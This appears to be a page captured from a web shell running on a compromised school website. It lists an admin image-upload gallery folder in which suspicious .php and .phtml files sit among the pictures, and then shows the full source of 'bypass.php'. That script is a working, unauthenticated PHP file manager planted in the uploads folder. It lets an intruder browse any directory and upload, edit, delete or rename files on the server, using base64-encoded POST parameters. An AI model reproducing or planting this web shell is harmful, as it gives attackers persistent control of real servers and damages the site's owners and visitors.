Path: C:\Inetpub\vhosts\allwinschool.org\httpdocs\admin\uploads\gallery

[.]
[..]
693466b4c5581_1765041844.jpg - Edit
693466b4v5581_1765841844.php - Edit
693466c784fdc_1765041863.jpg - Edit
693466d9e0bf9_1765041881.jpg - Edit
693466ed44aa1_1765041901.jpg - Edit
69346710899a2_1765041936.jpg - Edit
6934672422d80_1765041956.jpg - Edit
6934673886380_1765041976.jpg - Edit
6934674c17c85_1765041996.jpg - Edit
6934680c94223_1765042188.jpg - Edit
693468926cab4_1765042322.jpg - Edit
693670cecc84f_1765175502.jpg - Edit
6954b30445cec_1767158532_0.jpg - Edit
6954b304471fd_1767158532_1.jpg - Edit
6954b3044842b_1767158532_2.jpg - Edit
6954b304492c6_1767158532_3.jpg - Edit
6954b3044a29e_1767158532_4.jpg - Edit
6954b3044b121_1767158532_5.jpg - Edit
6954b3044d0c1_1767158532_6.jpg - Edit
6954b3044da7b_1767158532_7.jpg - Edit
6954b3044e3a1_1767158532_8.jpg - Edit
6954b3044efa3_1767158532_9.jpg - Edit
6954b30450188_1767158532_10.jpg - Edit
69561213c548d_1767248403_0.jpg - Edit
69561213c6245_1767248403_1.jpg - Edit
69561213c74e8_1767248403_2.jpg - Edit
69561213c8064_1767248403_3.jpg - Edit
69561213c8e88_1767248403_4.jpg - Edit
69561213c9ad4_1767248403_5.jpg - Edit
69561213ca59f_1767248403_6.jpg - Edit
69561213cb496_1767248403_7.jpg - Edit
69561213cbdf1_1767248403_8.jpg - Edit
69561213cccbe_1767248403_9.jpg - Edit
69561213cd5f4_1767248403_10.jpg - Edit
69561213cdf06_1767248403_11.jpg - Edit
697309decab6e_1769146846_0.jpg - Edit
697309decb862_1769146846_1.jpg - Edit
697309decc200_1769146846_2.jpg - Edit
697309deccb6c_1769146846_3.jpg - Edit
697309decd5e0_1769146846_4.jpg - Edit
697309decdf53_1769146846_5.jpg - Edit
697309dece8ff_1769146846_6.jpg - Edit
697309decf145_1769146846_7.jpg - Edit
697309decfa2f_1769146846_8.jpg - Edit
697309ded02cb_1769146846_9.jpg - Edit
697309ded0acb_1769146846_10.jpg - Edit
69730b3d85a34_1769147197_0.jpg - Edit
69730b3d868df_1769147197_1.jpg - Edit
69730b3d8788e_1769147197_2.jpg - Edit
69730b3d88344_1769147197_3.jpg - Edit
69730b3d89b6d_1769147197_4.jpg - Edit
69730b3d8a6e3_1769147197_5.jpg - Edit
69730b3d8b01e_1769147197_6.jpg - Edit
69730b3d8b909_1769147197_7.jpg - Edit
69730b3d8c3fa_1769147197_8.jpg - Edit
69730b3d8cdce_1769147197_9.jpg - Edit
69730b3d8d616_1769147197_10.jpg - Edit
69730e1dc36e3_1769147933_0.jpg - Edit
69730e1dc435b_1769147933_1.jpg - Edit
69730e1dc4c45_1769147933_2.jpg - Edit
69730e1dc5474_1769147933_3.jpg - Edit
69730e1dc5c2e_1769147933_4.jpg - Edit
69730e1dc6420_1769147933_5.jpg - Edit
69730e1dc6c8c_1769147933_6.jpg - Edit
69730e1dc7416_1769147933_7.jpg - Edit
69730e1dc7c75_1769147933_8.jpg - Edit
69730e1dc83b9_1769147933_9.jpg - Edit
69730e1dc8b47_1769147933_10.jpg - Edit
69730e1dc92cb_1769147933_11.jpg - Edit
69730ee9ec82a_1769148137_0.jpg - Edit
69730ee9ed57c_1769148137_1.jpg - Edit
69730ee9edf53_1769148137_2.jpg - Edit
69730ee9ee8be_1769148137_3.jpg - Edit
69730ee9ef8ed_1769148137_4.jpg - Edit
69730ee9f04e8_1769148137_5.jpg - Edit
69730ee9f0fe2_1769148137_6.jpg - Edit
69730f9fde6f0_1769148319_0.jpg - Edit
69730f9fdf389_1769148319_1.jpg - Edit
697310300e085_1769148464_0.jpg - Edit
697310300ea1a_1769148464_1.jpg - Edit
697310300f249_1769148464_2.jpg - Edit
697310300f9b5_1769148464_3.jpg - Edit
697310904cc44_1769148560_0.jpg - Edit
697310904db7d_1769148560_1.jpg - Edit
69731169b4e03_1769148777_0.jpeg - Edit
69731169b5aed_1769148777_1.jpeg - Edit
69731169b6527_1769148777_2.jpeg - Edit
69731169b6ed1_1769148777_3.jpeg - Edit
69731169b7860_1769148777_4.jpeg - Edit
69731169b8142_1769148777_5.jpeg - Edit
69731169b90ee_1769148777_6.jpeg - Edit
69731169b9f47_1769148777_7.jpeg - Edit
69731169ba9f9_1769148777_8.jpeg - Edit
69731169bb236_1769148777_9.jpeg - Edit
69731169bbfa5_1769148777_10.jpeg - Edit
697317b7b2dd4_1769150391_0.jpg - Edit
697317b7b3b21_1769150391_1.jpg - Edit
697317b7b46c2_1769150391_2.jpg - Edit
697317b7b5094_1769150391_3.jpg - Edit
697317b7b5937_1769150391_4.jpg - Edit
697317b7b6168_1769150391_5.jpg - Edit
697317b7b684b_1769150391_6.jpg - Edit
697317b7b7032_1769150391_7.jpg - Edit
697317b7b7b0f_1769150391_8.jpg - Edit
697317b7b83ce_1769150391_9.jpg - Edit
697317b7b8bb2_1769150391_10.jpg - Edit
697317b7b93b0_1769150391_11.jpg - Edit
697317b7ba632_1769150391_12.jpg - Edit
6973193ccab9c_1769150780_0.jpg - Edit
6973193ccbcc7_1769150780_1.jpg - Edit
6973193cccb9b_1769150780_2.jpg - Edit
6973193ccde85_1769150780_3.jpg - Edit
6973193cced48_1769150780_4.jpg - Edit
6973193ccf938_1769150780_5.jpg - Edit
6973193cd0406_1769150780_6.jpg - Edit
6973193cd0f41_1769150780_7.jpg - Edit
6973193cd1a4f_1769150780_8.jpg - Edit
6973193cd23d6_1769150780_9.jpg - Edit
69731d2313852_1769151779_0.jpg - Edit
69731d231454a_1769151779_1.jpg - Edit
69731d23151b2_1769151779_2.jpg - Edit
69731d2315b9a_1769151779_3.jpg - Edit
69731d2316415_1769151779_4.jpg - Edit
69731d231724c_1769151779_5.jpg - Edit
69731dcdbe176_1769151949_0.jpg - Edit
69731dcdbf121_1769151949_1.jpg - Edit
69731dcdbfb26_1769151949_2.jpg - Edit
69731dcdc0430_1769151949_3.jpg - Edit
69731dcdc0dad_1769151949_4.jpg - Edit
69731dcdc1963_1769151949_5.jpg - Edit
69731dcdc24f8_1769151949_6.jpg - Edit
69731dcdc2f1c_1769151949_7.jpg - Edit
69731dcdc398a_1769151949_8.jpg - Edit
69731dcdc458a_1769151949_9.jpg - Edit
69731f3ef37be_1769152318_0.jpg - Edit
69731f3f00280_1769152319_1.jpg - Edit
69731f3f00f75_1769152319_2.jpg - Edit
69731f3f019ed_1769152319_3.jpg - Edit
69731f3f02653_1769152319_4.jpg - Edit
69731f3f031a0_1769152319_5.jpg - Edit
69731f3f03b87_1769152319_6.jpg - Edit
69731f3f0450c_1769152319_7.jpg - Edit
69731f3f050ac_1769152319_8.jpg - Edit
69731f3f05b64_1769152319_9.jpg - Edit
69731f85d978c_1769152389_0.jpg - Edit
69731f85da37c_1769152389_1.jpg - Edit
69731f85daf8e_1769152389_2.jpg - Edit
69731f85db97a_1769152389_3.jpg - Edit
69731f85dc230_1769152389_4.jpg - Edit
69731f85dccbf_1769152389_5.jpg - Edit
69731f85dd7ca_1769152389_6.jpg - Edit
69731f85de1b4_1769152389_7.jpg - Edit
69731f85dea8f_1769152389_8.jpg - Edit
69731f85df3d8_1769152389_9.jpg - Edit
6973213fc040c_1769152831_0.jpg - Edit
6973213fc0fd5_1769152831_1.jpg - Edit
6973213fc1aea_1769152831_2.jpg - Edit
6973213fc252c_1769152831_3.jpg - Edit
6973213fc2fed_1769152831_4.jpg - Edit
6973224532388_1769153093_0.jpg - Edit
69732245331c4_1769153093_1.jpg - Edit
6973224533db8_1769153093_2.jpg - Edit
6973224534961_1769153093_3.jpg - Edit
69732245355ac_1769153093_4.jpg - Edit
697323e517630_1769153509_0.jpg - Edit
697323e518217_1769153509_1.jpg - Edit
697323e518b3a_1769153509_2.jpg - Edit
697323e5193dc_1769153509_3.jpg - Edit
697323e519cb7_1769153509_4.jpg - Edit
6973242823539_1769153576_0.jpg - Edit
6973242824074_1769153576_1.jpg - Edit
697324282494e_1769153576_2.jpg - Edit
697324282522e_1769153576_3.jpg - Edit
697324c2e6394_1769153730_0.jpg - Edit
697324c2e711b_1769153730_1.jpg - Edit
697324c2e7a91_1769153730_2.jpg - Edit
697324c2e8290_1769153730_3.jpg - Edit
697324c2e8a1f_1769153730_4.jpg - Edit
697324c2e9330_1769153730_5.jpg - Edit
6973251b16b87_1769153819_0.jpg - Edit
6973251b17dbd_1769153819_1.jpg - Edit
6973251b189b8_1769153819_2.jpg - Edit
6973251b19329_1769153819_3.jpg - Edit
6973251b19d94_1769153819_4.jpg - Edit
697325587aef7_1769153880_0.jpg - Edit
697325587ba5e_1769153880_1.jpg - Edit
697325587c530_1769153880_2.jpg - Edit
697325587cd88_1769153880_3.jpg - Edit
697325587d4f3_1769153880_4.jpg - Edit
69732592e369a_1769153938_0.jpg - Edit
69732592e4d74_1769153938_1.jpg - Edit
69732592e5cf6_1769153938_2.jpg - Edit
69732592e692a_1769153938_3.jpg - Edit
69732592e75c4_1769153938_4.jpg - Edit
69732592e811f_1769153938_5.jpg - Edit
69732592e8bf8_1769153938_6.jpg - Edit
69732592e981a_1769153938_7.jpg - Edit
697325eb0d375_1769154027_0.jpg - Edit
697325eb0dfd0_1769154027_1.jpg - Edit
697325eb0eb43_1769154027_2.jpg - Edit
697325eb0f7a5_1769154027_3.jpg - Edit
697325eb11b1b_1769154027_4.jpg - Edit
697325eb12a1e_1769154027_5.jpg - Edit
697325eb13ad6_1769154027_6.jpg - Edit
697325eb14907_1769154027_7.jpg - Edit
6973261a7f93d_1769154074_0.jpg - Edit
6973261a80aa9_1769154074_1.jpg - Edit
6973261a8259e_1769154074_2.jpg - Edit
6973261a83579_1769154074_3.jpg - Edit
6973261a84532_1769154074_4.jpg - Edit
6973261a85514_1769154074_5.jpg - Edit
6973261a86117_1769154074_6.jpg - Edit
6973261a86afa_1769154074_7.jpg - Edit
69732652e9916_1769154130_0.jpg - Edit
69732652ea51a_1769154130_1.jpg - Edit
69732652eb7cb_1769154130_2.jpg - Edit
69732652ec20e_1769154130_3.jpg - Edit
69732652ecc1f_1769154130_4.jpg - Edit
69732652ed476_1769154130_5.jpg - Edit
69732652edc97_1769154130_6.jpg - Edit
69732652ee48e_1769154130_7.jpg - Edit
69732652eedac_1769154130_8.jpg - Edit
69732652ef55f_1769154130_9.jpg - Edit
69732652efd88_1769154130_10.jpg - Edit
69732652f06d4_1769154130_11.jpg - Edit
69732652f0f45_1769154130_12.jpg - Edit
6973267c4e73a_1769154172_0.jpg - Edit
6973267c4f4b9_1769154172_1.jpg - Edit
6973267c500c3_1769154172_2.jpg - Edit
6973267c50b8f_1769154172_3.jpg - Edit
6973267c51492_1769154172_4.jpg - Edit
6973267c51de5_1769154172_5.jpg - Edit
6973267c52768_1769154172_6.jpg - Edit
6980763f49a6f_1770026559_0.webp - Edit
698076e0aa51f_1770026720.php - Edit
69807cacac2bc_1770028204.phtml - Edit
none.php - Edit
[sess]

Editing: C:\Inetpub\vhosts\allwinschool.org\httpdocs\admin\uploads\gallery/./sess/bypass.php

<?php
$currentDir = isset($_POST['d']) && !empty($_POST['d']) ? base64_decode($_POST['d']) : getcwd();
$currentDir = str_replace("\\", "/", $currentDir);

$pathParts = explode("/", $currentDir);
echo "<div class=\"dir\">";
foreach ($pathParts as $k => $v) {
    if ($v == "" && $k == 0) {
        echo "<a href=\"javascript:void(0);\" onclick=\"postDir('/')\">/</a>";
        continue;
    }
    $dirPath = implode("/", array_slice($pathParts, 0, $k + 1));
    echo "<a href=\"javascript:void(0);\" onclick=\"postDir('" . addslashes($dirPath) . "')\">$v</a>/";
}
echo "</div>";

if (isset($_POST['s']) && isset($_FILES['u']) && $_FILES['u']['error'] == 0) {
    $fileName = $_FILES['u']['name'];
    $tmpName = $_FILES['u']['tmp_name'];
    $destination = $currentDir . '/' . $fileName;
    if (move_uploaded_file($tmpName, $destination)) {
        echo "<script>alert('Upload successful!'); postDir('" . addslashes($currentDir) . "');</script>";
    } else {
        echo "<script>alert('Upload failed!');</script>";
    }
}

$items = scandir($currentDir);
if ($items !== false) {
    echo "<table>";
    echo "<tr><th>File/Folder Name</th><th>Size</th><th>Action</th></tr>";

foreach ($items as $item) {
        if (!is_dir($currentDir . '/' . $item) || $item == '.' || $item == '..') continue;
        echo "<tr><td><a href=\"javascript:void(0);\" onclick=\"postDir('" . addslashes($currentDir . '/' . $item) . "')\">$item</a></td><td>--</td><td>NONE</td></tr>";
    }

foreach ($items as $item) {
        if (!is_file($currentDir . '/' . $item)) continue;
        $size = filesize($currentDir . '/' . $item) / 1024;
        $size = $size >= 1024 ? round($size / 1024, 2) . 'MB' : round($size, 2) . 'KB';
        echo "<tr><td><a href=\"javascript:void(0);\" onclick=\"postOpen('" . addslashes($currentDir . '/' . $item) . "')\">$item</a></td><td>$size</td><td>"
            . "<a href=\"javascript:void(0);\" onclick=\"postDel('" . addslashes($currentDir . '/' . $item) . "')\" class=\"button1\">Delete</a>"
            . "<a href=\"javascript:void(0);\" onclick=\"postEdit('" . addslashes($currentDir . '/' . $item) . "')\" class=\"button1\">Edit</a>"
            . "<a href=\"javascript:void(0);\" onclick=\"postRen('" . addslashes($currentDir . '/' . $item) . "', '$item')\" class=\"button1\">Rename</a>"
            . "</td></tr>";
    }
    echo "</table>";
} else {
    echo "<p>Unable to read directory!</p>";
}

if (isset($_POST['del']) && !empty($_POST['del'])) {
    $filePath = base64_decode($_POST['del']);
    $fileDir = dirname($filePath);
    if (file_exists($filePath) && is_writable($filePath) && unlink($filePath)) {
        echo "<script>alert('Delete successful!'); postDir('" . addslashes($fileDir) . "');</script>";
    } else {
        echo "<script>alert('Delete failed or no permission!'); postDir('" . addslashes($fileDir) . "');</script>";
    }
}

if (isset($_POST['edit']) && !empty($_POST['edit'])) {
    $filePath = base64_decode($_POST['edit']);
    $fileDir = dirname($filePath);
    if (file_exists($filePath) && is_writable($filePath)) {
        echo "<style>table{display:none;}</style>"
            . "<a href=\"javascript:void(0);\" onclick=\"postDir('" . addslashes($fileDir) . "')\" class=\"button1\"><=Back</a>"
            . "<form method=\"post\">"
            . "<input type=\"hidden\" name=\"obj\" value=\"" . $_POST['edit'] . "\">"
            . "<input type=\"hidden\" name=\"d\" value=\"" . base64_encode($fileDir) . "\">"
            . "<textarea name=\"content\">" . htmlspecialchars(file_get_contents($filePath)) . "</textarea>"
            . "<center><button type=\"submit\" name=\"save\" value=\"Submit\" class=\"button1\">Save</button></center>"
            . "</form>";
    }
}

if (isset($_POST['save']) && isset($_POST['obj']) && isset($_POST['content'])) {
    $filePath = base64_decode($_POST['obj']);
    $fileDir = dirname($filePath);
    if (file_exists($filePath) && is_writable($filePath)) {
        file_put_contents($filePath, $_POST['content']);
        echo "<script>alert('Edit successful!'); postDir('" . addslashes($fileDir) . "');</script>";
    } else {
        echo "<script>alert('Edit failed or no permission!'); postDir('" . addslashes($fileDir) . "');</script>";
    }
}

if (isset($_POST['ren']) && !empty($_POST['ren'])) {
    $oldPath = base64_decode($_POST['ren']);
    $oldDir = dirname($oldPath);
    if (isset($_POST['new']) && !empty($_POST['new'])) {
        $newPath = $oldDir . '/' . $_POST['new'];
        if (file_exists($oldPath) && !file_exists($newPath) && rename($oldPath, $newPath)) {
            echo "<script>alert('Rename successful!'); postDir('" . addslashes($oldDir) . "');</script>";
        } else {
            echo "<script>alert('Rename failed!'); postDir('" . addslashes($oldDir) . "');</script>";
        }
    } else {
        echo "<form method=\"post\">"
            . "New name: <input name=\"new\" type=\"text\" value=\"\">"
            . "<input type=\"hidden\" name=\"ren\" value=\"" . $_POST['ren'] . "\">"
            . "<input type=\"hidden\" name=\"d\" value=\"" . base64_encode($oldDir) . "\">"
            . "<input type=\"submit\" value=\"Submit\">"
            . "</form>";
    }
}
?>

<!DOCTYPE html>
<html>
<body>
    <div class="dir">
        <form method="post" enctype="multipart/form-data">
            <input type="file" name="u">
            <input type="submit" name="s" value="Upload">
            <input type="hidden" name="d" value="<?php echo base64_encode($currentDir); ?>">
        </form>
    </div>
</body>
<head>
    <title>File Management</title>
    <style>
        table { border-collapse: collapse; margin: 20px auto; }
        th, td { border: 1px solid #000; padding: 8px; }
        .button1 { margin: 0 5px; padding: 5px 10px; }
        .dir { margin: 10px; }
        textarea { width: 100%; height: 400px; }
    </style>
    <script>
        function postDir(dir) {
            var form = document.createElement("form");
            form.method = "post";
            form.action = "";
            var input = document.createElement("input");
            input.type = "hidden";
            input.name = "d";
            input.value = btoa(dir);
            form.appendChild(input);
            document.body.appendChild(form);
            form.submit();
        }

function postDel(path) {
            var form = document.createElement("form");
            form.method = "post";
            form.action = "";
            var input = document.createElement("input");
            input.type = "hidden";
            input.name = "del";
            input.value = btoa(path);
            form.appendChild(input);
            document.body.appendChild(form);
            form.submit();
        }

function postEdit(path) {
            var form = document.createElement("form");
            form.method = "post";
            form.action = "";
            var input = document.createElement("input");
            input.type = "hidden";
            input.name = "edit";
            input.value = btoa(path);
            form.appendChild(input);
            document.body.appendChild(form);
            form.submit();
        }

function postRen(path, name) {
            var newName = prompt("Enter new name:", name);
            if (newName) {
                var form = document.createElement("form");
                form.method = "post";
                form.action = "";
                var input1 = document.createElement("input");
                input1.type = "hidden";
                input1.name = "ren";
                input1.value = btoa(path);
                var input2 = document.createElement("input");
                input2.type = "hidden";
                input2.name = "new";
                input2.value = newName;
                form.appendChild(input1);
                form.appendChild(input2);
                document.body.appendChild(form);
                form.submit();
            }
        }a

function postOpen(path) {
            var form = document.createElement("form");
            form.method = "post";
            form.action = "";
            var input = document.createElement("input");
            input.type = "hidden";
            input.name = "open";
            input.value = btoa(path);
            form.appendChild(input);
            document.body.appendChild(form);
            form.submit();
        }
    </script>
</head>

</html>